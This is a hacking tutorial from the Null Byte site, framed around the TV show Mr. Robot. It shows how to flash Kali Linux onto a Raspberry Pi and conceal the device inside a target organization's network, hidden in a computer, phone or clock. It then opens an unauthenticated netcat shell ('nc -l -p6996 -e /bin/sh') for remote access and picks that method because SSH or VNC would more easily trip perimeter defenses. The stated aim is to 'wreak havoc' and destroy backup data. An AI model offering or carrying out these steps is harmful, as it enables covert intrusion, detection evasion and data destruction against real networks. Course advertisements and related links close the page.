The Hacks of Mr. Robot: How to Build a Hacking Raspberry Pi « Null Byte :: WonderHowTo

Welcome back, my tenderfoot hackers!A number of you have written me telling me how much you enjoy theMr. Robotseries onUSA Network. I am also a huge fan! If you haven't seen it yet, you should. It may be the best show on TV right now.Mr. Robotis about a young man with a social conscience (with severe social anxiety and a wicked morphine habit) who works in cyber security by day, protecting the network of Evil Corporation, while at night, is a hacker vigilante for good (does this scenario fit anyone we know?). Eventually, he gets recruited by a hacker organization known asfsociety(which looks and acts much like Anonymous) to bring down Evil Corporation.One of the more interesting parts of the show, from my perspective, is that the hacking is realistic. No swirling, animated viruses like in so many other TV shows and movies, but rather good ole command lineLinux.The Hacking Raspberry Pi in Episode 4In episode 4 ("eps1.3__da3m0ns.mp4"), Elliott, the main character, is planning on using aRaspberry Pito control the heating system of the storage room where Evil Corp is storing their tape backups. If they can raise the temperature enough in the storage room, it will render those tape backups unusable.On these tape backups are the records of 70% of the consumer debt in the world, including billions of dollars of student loans. The hackers believe that if they can destroy those records, millions of people will be free of their student loans and consumer debt held by Evil Corp.In this tutorial, I will show you how to create a hackingRaspberry Pi(for those of you are unaware, a Raspberry Pi is a tiny, inexpensive, credit-card sized computer that is powerful) that can be controlled remotely, similar to what Elliott onMr. Robotis about to use in this episode.Step 1: Download the ARM Version of KaliThe first step, of course, is to download the ARM version of Kali. Raspberry Pi and many mobile devices use ARM CPUs as they are more energy efficient and cooler, so the Kali operating system must be compiled specifically for it.Fortunately, the goods folks at Offensive Security have already done this for us. Navigate toOffensive Security's download pageto get the Raspberry Pi file. Once you have downloaded the image, unzip it with WinRAR, WinZip, or any other archiving tool that can unzip files.Step 2: Download & Install Win32 Disk ImagerNow we need to install the Win32 Disk Imager, which you candownload from SourceForge. This tool enables us to write the image to an SD card or USB drive. I recommend a fast SD card of at least 4 GB. You can buy a 16 GB now for about 7 dollars.Step 3: Run Disk ImagerNow that you have installed Disk Imager, right click on it and run it as "administrator."Select the Kali image in the "Image File" window, direct the image to your SD card in the "Device" window, then click on the "Write" button. Be patient, this can take sometime.If you using Linux, things are bit simpler. No need to download anything. You simply use theddcommand (among other things, the dd command is used to create a disk image indigital forensics). If we assume the image is named Kali-RPI.img and the SD card is at/dev/sdcand we want it to copy in 512k block size (bs), then we simply need to type:kali >dd if =Kali-RPI.img of = /dev/sdc bs=512kStep 4: Install the SD Card in the Raspberry PiWe need to remove the SD card from your PC and now install the SD card into our Raspberry Pi and boot it up. When it boots up, it takes you to a command line opening asking you for your username and password. Type in:username: rootpassword: toorThen type:kali > startxThis starts the X11 GUI for Kali. Success! Now you have an tiny Kali hacking tool that can be placed anywhere!Step 5: Start a Cryptcat Listener on Raspberry PiNow, that we have Raspberry Pi running Kali, we can place it anywhere within the Evil Corporation network. Raspberry Pi has an Ethernet connection and you can add a wireless adapter. The Raspberry Pi is so small it can be hidden in numerous places. These include inside a desktop computer, inside a telephone, clock, etc. without being noticed.Image viaThe Security BloggerOnce it is connected, we can start aNetcat listener(Netcat is built into Kali) on it by typing:kali > nc -l -p6996 -e /bin/shThis will enable Elliott to connect to a terminal on the Raspberry Pi from anywhere using port 6996.Now, Elliott can connect back to the Raspberry Pi by using Netcat on his Kali system and typing:kali > nc 192.168.1.105 6996When he typesifconfig, he can see that he has a terminal on the Raspberry Pi ready to do some hacking of Evil Corp's HVAC system! Make certain to use the IP address of the Raspberry Pi in your environment.Of course, there are other methods to connecting back to the Raspberry Pi. He could use SSH, and if he wanted a GUI, install the VNC Server and connect back to it with full GUI control over Kali. The problem with both of those methods is that they are more likely to be detected by Evil Corporation's perimeter network defenses.Step 6: Wreak HavocNow that Elliott has a Kali installation within Evil Corporation's network, he should be able to use the multitude of tools available for wreaking havoc on Evil Corporation in Kali. In episode 4, he wants to control the HVAC system and turn up the heat to melt the backup tapes. He should be able to do that now that he has embedded Kali within Evil Corporation's network.As this show progresses and Elliott demonstrates more hacks, I will try to keep you up on how he does them. Keep coming back, my greenhorn hackers, as I try to show youthe hacks of Mr. Robot.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via USA NetworksRelatedHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+Raspberry Pi:Hacking PlatformHow To:Build a Portable Pen-Testing Pi BoxHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiNews:College Kids Hack a Coffeemaker & Amazon's Alexa into a Fun WTF RobotHow To:Hack WPA WiFi Passwords by Cracking the WPS PINNews:Samy's MagSpoof Hacking Device Was Just Featured on Mr. RobotHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Radio Frequencies:Hijacking FM Radio with a Raspberry Pi & WireRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallRaspberry Pi:Physical Backdoor Part 1How To:Modify the USB Rubber Ducky with Custom FirmwareRaspberry Pi:MetasploitHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Things to Do on WonderHowTo (02/08 - 02/14)